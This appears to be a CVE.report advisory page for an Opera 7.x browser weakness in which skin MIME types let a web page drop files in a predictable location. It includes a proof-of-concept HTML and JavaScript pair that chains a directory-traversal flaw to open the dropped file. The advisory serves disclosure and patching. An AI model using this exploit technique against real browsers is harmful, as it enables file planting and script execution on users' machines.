Opera Multiple MIME Type File Dropping Weakness

BID:9019

Info

Opera Multiple MIME Type File Dropping Weakness

Bugtraq ID: 9019
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Nov 12 2003 12:00AM
Updated: Nov 12 2003 12:00AM
Credit: Discovery is credited to S G Masood <[email protected]>.
Vulnerable: Opera Software Opera Web Browser 7.22
Opera Software Opera Web Browser 7.21
Opera Software Opera Web Browser 7.20 Beta 1 build 2981
Opera Software Opera Web Browser 7.20
Opera Software Opera Web Browser 7.11 j
Opera Software Opera Web Browser 7.11 b
Opera Software Opera Web Browser 7.11
Opera Software Opera Web Browser 7.10
Not Vulnerable: Opera Software Opera Web Browser 7.23

Discussion

Opera Multiple MIME Type File Dropping Weakness

Opera includes support for multiple MIME types used for configuration and installation of browser skins that potentially could be abused by a malicious web page to drop files onto a client system in a predictable location. Through exploitation of another reported vulnerability (BID 9021), further attacks may result, such as execution of script code or information disclosure.

This issue was reported to exist in Windows versions of the web browser. It is not known if versions for other platforms are similarly affected.

Exploit / POC

Opera Multiple MIME Type File Dropping Weakness

The following proof-of-concept was provided (which also exploits BID 9021):

---------------START MAIN.HTM----------------


<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"&lt;opera // dir&gt;/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.


function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}


</script>

</head>


<body>

<h1>This is the main file</h1>

</body>

</html>



---------------END MAIN.HTM----------------


---------------START SKIN.HTM----------------


<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "&lt;opera dir&gt;/profile/skin/" in localhost.

</body>


---------------END SKIN.HTM----------------

Solution / Fix

Opera Multiple MIME Type File Dropping Weakness

Solution:
This issue has been addressed in Opera 7.23. Updates may be obtained via the vendor website.

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report